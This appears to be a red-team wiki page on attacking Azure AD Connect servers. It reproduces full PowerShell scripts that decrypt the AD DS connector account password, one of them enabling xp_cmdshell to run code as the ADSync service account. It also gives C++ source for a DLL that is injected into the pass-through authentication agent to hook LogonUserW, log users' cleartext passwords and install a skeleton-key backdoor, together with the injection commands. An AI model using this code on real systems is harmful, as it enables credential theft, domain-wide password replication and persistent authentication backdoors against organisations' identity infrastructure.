Exploitation - Azure AD Connect
Overview
Azure Active Directory (AD) Connect is a Microsoft utility used to connect on-premises Active Directory forests with Azure AD. Using Azure AD Connect on premise users can access cloud-based services in an hybrid identity model, across (Windows Server) Active Directory and Azure AD.
During Azure AD Connect installation, an user account is created in the on-premise Active Directory forest: the Azure Active Directory Domain Services (AD DS) Connector account. The account is by default named MSOL_<HEX_ID> (for example: MSOL_a8a17814304d). Additionally, an Azure AD user is also automatically created (named Sync_<AAD_CONNECT_SERVER_HOSTNAME>_<HEX_ID>@<AZURE_TENANT>, with a matching <HEX_ID>).
Synchronization modes - Password Hash Sync vs Pass-through Authentication
Azure AD Connect currently implements two synchronization modes / sign-in methods:
Password Hash Sync (PHS), in which on-premises Active Directory users' NTLM password hashes (NTLM hashes and Kerberos keys) are extracted and synchronized from the on-premises Active Directory forest to Azure AD.PHSis the mode configured by default whenever using the "Express Settings" option during the Azure AD Connect installation.Pass-through Authentication (PTA), in which on-premises Active Directory users' passwords are not synchronized with Azure AD. The authentication requests (of non cloud-only accounts) made Azure side are instead directly sent to theAzure AD Connectserver to be validated by an on-premise Domain Controller.
In a Password Hash Sync setup, the Azure AD DS Connector account is granted replication privileges (Replicate Directory Changes and Replicate Directory Changes All) in the Active Directory forest in order to be able to extract the users' password hashes.
Active Directory Federation Services alternative
While Azure AD Connect is sufficient for connecting an on-premise Active Directory environment with Azure AD, Active Directory Federation Services may be used as well. ADFS is an utility developed by Microsoft to provide single sign-on access to external resources and that implements a claims-based access-control authorization model. ADFS establishes a trust between two federation servers: one client-side and another resources-side. On the client-side, ADFS connects to the on-premise Active Directory Domain Services to authenticates users using the Active Directory database and issues a token that can be transmitted to the resources-side federation server. ADFS presents the advantage of enabling federation with various compliant federation services (such as Software as a Service (SaaS) applications, ADFS servers from external Active Directory forests, etc.) but is however much more difficult to deploy and administrate than Azure AD Connect.
Azure AD Connect identification
The following PowerShell commands, that rely on cmdlets from the Microsoft Remote Server Administration Tools (RSAT) utilities, can be used to identity the Azure AD DS Connector account and whether the account is granted replication privileges or not.
Get-ADUser -Filter "name -like 'MSOL_*'"
Get-ADUser -Properties Description -Filter "Description -like '*Azure*'"
# Checks if the Azure AD DS Connector account is granted replication privileges.
# FOREST_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ACL -Path "AD:<FOREST_ROOT_OBJECT>" | Select -ExpandProperty Access | ? IdentityReference -match "
MSOL_*" | ? ObjectType -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'Initial compromise of the Azure AD Connect server
The compromise of the Azure AD Connect server is a prerequisite of the attacks introduced below. The Azure AD Connect server may benefit from a lower security level than the Domain Controllers usually identified as critical infrastructure resources.
The initial compromise of the Azure AD Connect server can be achieved in a number of ways (out of the scope of the present note):
Compromise of an account that can (remotely or using a local connection) execute OS commands through the Azure AD Connect server MSSQL database.
[ActiveDirectory] - 1433 MSSQL note.
Remote code execution vulnerability or compromise of a service allowing for remote code execution on an exposed service.
L7 notes.
Compromise of mutualized local Administrators accounts or domain accounts member of the local Administrators group.
[ActiveDirectory] - Credentials_theft_shuffling note.
Exploitable ACL (GenericAll, WriteOwner, WriteDACL, etc.) defined on the Azure AD Connect server's machine account.
[ActiveDirectory] ACL exploiting - Computer machine account ACL exploitation note.
Code execution through Group Policy Objects (GPO) linked to the Azure AD Connect server (through exploitable ACL on the GPO or GPO files).
[ActiveDirectory] ACL exploiting - GPO ACEs exploitation note.
Prior compromise of an account trusted for Kerberos delegations on the Azure AD Connect server.
[ActiveDirectory] - Kerberos delegations note.
...
...
Password Hash Synchronization exploit
After achieving command execution in an elevated context on the Azure AD Connect server, the Azure AD DS Connector account cleartext password can be retrieved in a number of ways:
by dumping and extracting the authentication secrets stored in the
LSASSprocess. This technique is usually more closely defended against byEndpoint detection and response (EDR)products than the other one presented below. Refer to the[Windows] Post exploitation - Credentials dumpingnote for more information on how to dump credentials fromLSASSas stealthy as possible.by retrieving the
Azure AD DS Connector accountencrypted password from theMSSQLADSyncdatabase (encrypted_configurationcolumn of themms_management_agenttable) and decrypting it using functions implemented in theMicrosoft Azure AD Sync\Bin\mcrypt.dllDLL.On out of date
Azure AD Connectservers installed before early 2020, the decryption key can be simply retrieved with sufficient privileges using functions from themcrypt.dllDLL.Since an update changing the way the decryption key is handled, it is now necessary to execute code in the context of the
NT SERVICE\ADSyncVirtual Account to access the decryption key stored as aDPAPIkey. This can be achieved in two notable ways:By injecting in a process running as the
NT SERVICE\ADSyncaccount and using the previous technique. This can be done using various tools such asmetasploit'smeterpreteror in aCobalt Strikebeacon.By executing operating system commands through the
MSSQLservice (usingxp_cmdshellfor instance), which run under the security context of theNT SERVICE\ADSyncaccount.
Once in possession of the Azure AD DS Connector account password, refer to the [ActiveDirectory] ntds.dit dumping note for a procedure and tooling to conduct passwords replication (DCSync).
Against outdated Azure AD Connect installations
Multiple tools may be used to conduct the extraction and decryption process against outdated Azure AD Connect installations:
The AdSyncDecrypt VB.NET tool.
The
AdDecrypt.exebinary must be executed:in a folder with the
mcrypt.dllDLLpresent.with the AD Sync binary folder as the working directory or with the folder added to the PATH environment variable.
# Default location of the AD Sync binary folder cd "C:\Program Files\Microsoft Azure AD Sync\Bin" # Against the default SQLExpress “LocalDb” instance. <PATH>\AdDecrypt.exe # Against a full MSSQL instance <PATH>\AdDecrypt.exe -FullSQLadconnectdump, which is composed of the
ADSyncDecrypt,ADSyncGather, andADSyncQueryC# utilities as well as theadconnectdump.pyPython script.ADSyncDecryptandADSyncGatherwork similarly toAdDecrypt.exeand require code execution on the targetedAzure AD Connectserver.ADSyncQuerypresent the advantage of conducting the extraction through remoteRPCcalls. It however requires a localMSSQLinstance to be installed on the attacking computer.# The ADSyncQuery.exe sould be present in the directory. python.exe adconnectdump.py [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP>The azuread_decrypt_msol.ps1 PowerShell script.
# Author: Adam Chester (XPN). # Source: https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1 # !! For connection to full MSSQL database instance (excluding database setup using the "Express" installation option), replace the connection string with the one below: # $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;" Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n" $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted) $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}} Write-Host ("Domain: " + $domain.Domain) Write-Host ("Username: " + $username.Username) Write-Host ("Password: " + $password.Password)
Against up-to-date Azure AD Connect installations
The azuread_decrypt_msol_v2.ps1 PowerShell script implements the operating system commands execution through the MSSQL service described above to achieve code execution under the security context of the NT SERVICE\ADSync account.
# Author: Adam Chester (XPN).
# Source: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
# !! For connection to full MSSQL database instance (and not database setup using the "Express" installation option), replace the connection string with the one below:
# $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"Pass Through Authentication exploit
In Pass-through Authentication (PTA) mode, the authentication requests are sent to the Azure AD Connect server through a connection established by the Azure AD Connect Authentication Agent (AzureADConnectAuthenticationAgentService.exe). Note that cloud-only accounts will not affected by the exploit as their authentication requests are processed only Azure AD-side.
The agent rely on the LogonUserW Win32 API function to validate the received credentials against a on-premise Active Directory Domain Controller. In order to make use of the Win32 API LogonUser functions, the Authentication Agent must be in possession of the authentication request cleartext username and password.
The compromise of the Azure AD Connect server, or more precisely put obtaining code execution in a security context with the SeDebugPrivilege privilege enabled, thus allow:
for the retrieval of the authentication requests' cleartext username and password
the implementation of a backdoor, such as an hardcoded password that would validate access for any accounts (similarly to what could be achieved against on-premise Domain Controllers with the
skeleton keyattack).
The attacks against the PTA, and the code introduced below, are based on original research done by Adam Chester and Eric Saraga.
Win32 API LogonUserW hooking
The following code should be compiled as a DLL and injected into the AzureADConnectAuthenticationAgentService process on the Azure AD Connect server.
Disclaimer: the DACL on the payload DLL must be configured to grant Read access to the NETWORK SERVICE identity. If output files are being used to log the authentication requests, the DACL on the output folder / files should also allow write access.
The payload DLL will:
Enter the
DllMainentry point upon loading in theAzureADConnectAuthenticationAgentServiceprocess.Retrieve the address of the
LogonUserWfunction, which is exported by theadvapi32.dlllibrary.Update the virtual address space protection of the
LogonUserWfunction region toPAGE_EXECUTE_READWRITE(in order to be able to modify the function code).Inject in the legitimate
LogonUserWfunction a jump to the hookingLogonUserWHookfunction.Restore the original virtual address space protection.
Whenever an Azure AD authentication will be processed by the AzureADConnectAuthenticationAgentService process, the LogonUserW function and, in turn, the LogonUserWHook function will thus be called. In order to properly authenticate users, the LogonUserWHook function returns the result of a call to the LogonUserExW function (which implement the same validation but does not rely on the LogonUserW function).
// Original author: Adam Chester / @_xpn_
// Source: https://gist.github.com/xpn/79a7f966b9dffd0ccf3505787f8060d7#file-azuread_hook_dll-cpp
#include <windows.h>
#include <stdio.h>
#include <fstream>
// Simple ASM trampoline
// mov r11, 0x4142434445464748
// jmp r11
unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 };
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken);
void Start(void) {
DWORD oldProtect;
std::ofstream outfile;
outfile.open("<FILE_PATH>", std::ios_base::app);
outfile << "Successfully injected payload DLL!" << "\n";
outfile.close();
void* LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW");
if (LogonUserWAddr == NULL) {
// Should never happen, but just incase
return;
}
// Update page protection so we can inject our trampoline
VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect);
// Add our JMP addr for our hook
*(void**)(trampoline + 2) = &LogonUserWHook;
// Copy over our trampoline
memcpy(LogonUserWAddr, trampoline, sizeof(trampoline));
// Restore previous page protection so Dom doesn't shout
VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect);
}
// The hook we trampoline into from the beginning of LogonUserW
// Will invoke LogonUserExW when complete, or return a status ourselves
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) {
PSID logonSID;
void* profileBuffer = (void*)0;
DWORD profileLength;
QUOTA_LIMITS quota;
bool ret;
// Refer to "Authentication requests interception" / "Authentication Agent backdoor" sections below
// <INJECTED_CODE_BACKDOOR>
// Forward request to LogonUserExW and return result
ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, "a);
// <INJECTED_CODE_INTERCEPTION>
return ret;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Start();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}The injectAllTheThings project can be used to inject the payload DLL in the process using a number of techniques. One technique consist of copying the payload DLL path into the remote process, using VirtualAllocEx and a subsequent WriteProcessMemory call, and then remotely starting a thread that will load the payload DLL. A remote thread can be created using CreateRemoteThread and instructed to execute (Kernel32's) LoadLibraryW.
# Supported injection techniques: 1 CreateRemoteThread / 2 NtCreateThreadEx / 3 QueueUserAPC / 4 SetWindowsHookEx / 5 RtlCreateUserThread / 6 SetThreadContext / 7 Reflective DLL injection
injectAllTheThings.exe -t <1 | INJECTION_TECHNIQUE_NUMBER> "AzureADConnectAuthenticationAgentService.exe" <PAYLOAD_DLL_FULL_PATH>Authentication requests interception
The following code can be inserted in the LogonUserWHook function (<INJECTED_CODE_INTERCEPTION>) to log the authentication requests.
std::ofstream outfile;
outfile.open("<FILE_PATH>", std::ios_base::app);
outfile << "Successfully hooked LogonUserW function!" << "\n\n";
if (ret == true) {
outfile << "Successful authentication received:" << "\n";
}
else {
outfile << "Unsuccessful authentication received:" << "\n";
}
// Write username.
int len_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, NULL, 0, 0, 0);
LPSTR result_username = NULL;
if (len_username > 0) {
result_username = new char[len_username + 1];
if (result_username) {
int resLen_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, &result_username[0], len_username, 0, 0);
if (resLen_username == len_username) {
outfile.write(result_username, len_username);
outfile << "\n";
}
delete[] result_username;
}
}
// Write password
int len_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, NULL, 0, 0, 0);
LPSTR result_password = NULL;
if (len_password > 0) {
result_password = new char[len_password + 1];
if (result_password) {
int resLen_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, &result_password[0], len_password, 0, 0);
if (resLen_password == len_password) {
outfile.write(result_password, len_password);
outfile << "\n";
}
delete[] result_password;
}
}
outfile.close();Authentication Agent backdoor (Azure Skeleton Key)
The following code can be inserted in the LogonUserWHook function (<INJECTED_CODE_BACKDOOR>) to define a password that grant access to any accounts (backdoor known as Skeleton Key).
if (wcscmp(password, L"<BACKDOOR_SKELETON_KEY>") == 0) {
return true;
}References
https://blog.xpnsec.com/protecting-your-malware/ https://blog.xpnsec.com/azuread-connect-for-redteam/ https://www.synacktiv.com/publications/azure-ad-introduction-for-red-teamers.html https://github.com/fox-it/adconnectdump https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/ https://www.varonis.com/blog/azure-skeleton-key/ https://docs.microsoft.com/fr-fr/azure/active-directory/manage-apps/migrate-adfs-apps-to-azure https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-password-hash-synchronization https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-pta
Last updated